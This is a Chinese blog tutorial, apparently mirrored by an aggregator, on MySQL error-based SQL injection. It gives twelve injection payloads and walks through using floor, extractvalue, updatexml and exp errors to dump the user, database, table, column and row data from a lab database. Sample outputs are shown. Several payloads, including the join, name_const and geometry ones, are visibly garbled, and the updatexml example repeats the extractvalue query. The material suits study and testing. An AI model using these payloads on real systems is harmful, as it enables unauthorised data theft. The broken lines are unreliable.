3

SQL注入-报错注入

 2 years ago
source link: https://qwzf.github.io/2019/09/25/SQL%E6%B3%A8%E5%85%A5-%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

之前没有对SQL报错注入详细总结过,总结一下。

SQL报错注入

利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
优点: 不需要显示位
缺点: 需要输出 mysql_error( )的报错信息

12种SQL报错注入语句

1、通过floor报错,注入语句如下:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
sql复制代码

2、通过extractvalue报错,注入语句如下:

 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
sql复制代码

3、通过updatexml报错,注入语句如下:

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
sql复制代码

4、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );
sql复制代码

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;
sql复制代码

6、通过NAME_CONST报错,注入语句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
sql复制代码

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );
sql复制代码

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );
sql复制代码

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );
sql复制代码

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );
sql复制代码

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );
sql复制代码

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );
sql复制代码

mysql 常用函数

系统信息函数

database() 返回当前数据库名
user()system_user() 返回当前登陆用户名
version()@@version 返回MySQL服务器的版本
benchmapk(count,expr) 将表达式expr重复运行count次
connection_id() 返回当前客户的连接ID
found_rows() 返回最后一个SELECT查询进行检索的总行数
session_user() 连接数据库的用户名
current_user 当前用户名
load_file() 读取本地文件
@@datadir 读取数据库路径
@@basedir mysql安装路径
@@version_complie_os 查看操作系统

更多参考:mysql 常用函数收集

常见SQL报错注入

SQL注入有12个报错方式,比较常见的有floor报错注入、extractvalue报错注入、updatexml报错注入和exp报错注入

floor报错注入

floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可

select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
sql复制代码

x和a是起的别名。

  1. floor报错注入相关函数
    count() 函数
    count(*) 函数:返回表中的记录数
    报错注入中,floor(rand(0)2)报错是有条件的,记录必须3条以上。所以使用count(\) 函数
    floor()函数:返回小于等于该值的最大整数(可以理解为向下取整,只保留整数部分)
    concat()函数:字符串拼接
    报错注入中,利用concat()函数将想要获得的数据库内容拼接到concat()中,报错时作为内容输出。
    rand()函数:可以用来生成0或1
    rand(0)函数:也可以用来生成0或1
    group by a 会根据a的规则对数据进行分组,而分组的时候,mysql会建立一个临时空表进行分组.
  2. floor(rand(0)*2),乘以 2的原因
    rand() 是返回 0 到 1 之间的随机数(即使用floor()后,只可以返回0),
    那么乘 2 后自然是返回 0 到 2 之间的随机数(即使用floor()后,可以返回0和1)
在这里插入图片描述
在这里插入图片描述
  1. rand(0)函数和rand()函数的区别
    rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数生成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
  1. 报错分析
    rand()函数在查询的时候会执行一次,插入的时候还会执行一次(即使用rand()的话,会执行多次)。这是整个语句报错的关键
    floor(rand(0)*2) 前六位是011011。
    group by a先建立一个空表,用于分组,然后进行分组查询。

第一次rand()执行,查询的结果是0。于是需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ,表中的结果就是:

root@localhost11

然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2)

root@localhost12
遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,
然后floor(rand(0)*2)又被触发,生成第五个值 1 ,
root@localhost12
root@localhost1
因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了。
此时插入因为重复出现同一个key,就会出现报错 重复出现key。而报错中会说明那个key有问题,key中结合了想要了解的字符串root@localhost
这样就实现了报错注入。
然后,concat()函数将想要获得的数据库内容拼接到concat()中,报错时作为内容输出。

(1)爆用户信息

select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
sql复制代码
在这里插入图片描述
在这里插入图片描述

用户:root
(”1“是因为floor(rand(0)*2)随机返回1)
(2)爆数据库名

select * from users where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a);
sql复制代码
在这里插入图片描述
在这里插入图片描述

数据库名:security
(3)爆数据表名

select * from users where id=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
sql复制代码
在这里插入图片描述
在这里插入图片描述

第四张表名:users
(4)爆字段名

select * from users where id=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
sql复制代码
在这里插入图片描述
在这里插入图片描述

第一个字段名:id
第二个字段名:username
第三个字段名:password
(5)爆数据

select * from users where id=1 and (select 1 from (select count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
sql复制代码
在这里插入图片描述
在这里插入图片描述

username字段下的第一条数据:Dumb

extractvalue报错注入

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
sql复制代码

EXTRACTVALUE (XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)

extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式。

如果我们写入其他格式,就会报错。并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

爆用户信息

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
sql复制代码
在这里插入图片描述
在这里插入图片描述

用户:root
两个”~“,是因为0x7e的ASCII码是”~

updatexml报错注入

select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
sql复制代码

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
updatexml(目标xml文档,xml路径,更新的内容)
爆用户信息

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
sql复制代码
在这里插入图片描述
在这里插入图片描述

exp报错注入

exp溢出报错注入

select * from users where id=1 and exp(~(select * from (select user())a));
sql复制代码

exp是以e为底的指数函数

mysql> select exp(1);
+-------------------+
| exp(1)            |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)
sql复制代码

但是,数字太大会产生溢出。exp函数会在参数大于709时溢出,报错。

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
sql复制代码

将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,将成功执行的函数取反就会得到最大的无符号BIGINT值。
按位取反符~
按位取反:二进制每一位取反,0变1,1变0
BIGINTBIGINT[(M)] [UNSIGNED] [ZEROFILL] M默认为20
大整数。带符号的范围是-9223372036854775808到9223372036854775807。无符号的范围是0到18446744073709551615。
M代表的并不是存储在数据库中的具体的长度。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~(select user());
+----------------------+
| ~(select user())     |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
sql复制代码

通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

mysql> select * from users where id=1 and exp(~(select * from (select database())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `a`.`database()` from (select database() AS `database()`) `a`)))'
sql复制代码

在脚本语言中,就会将错误中的一些表达式转化成相应的字符串。从而实现了报错注入。例如(我不演示了):

DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'
sql复制代码

总结之后,对SQL报错注入,又有了更加深入的认识。继续努力!


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK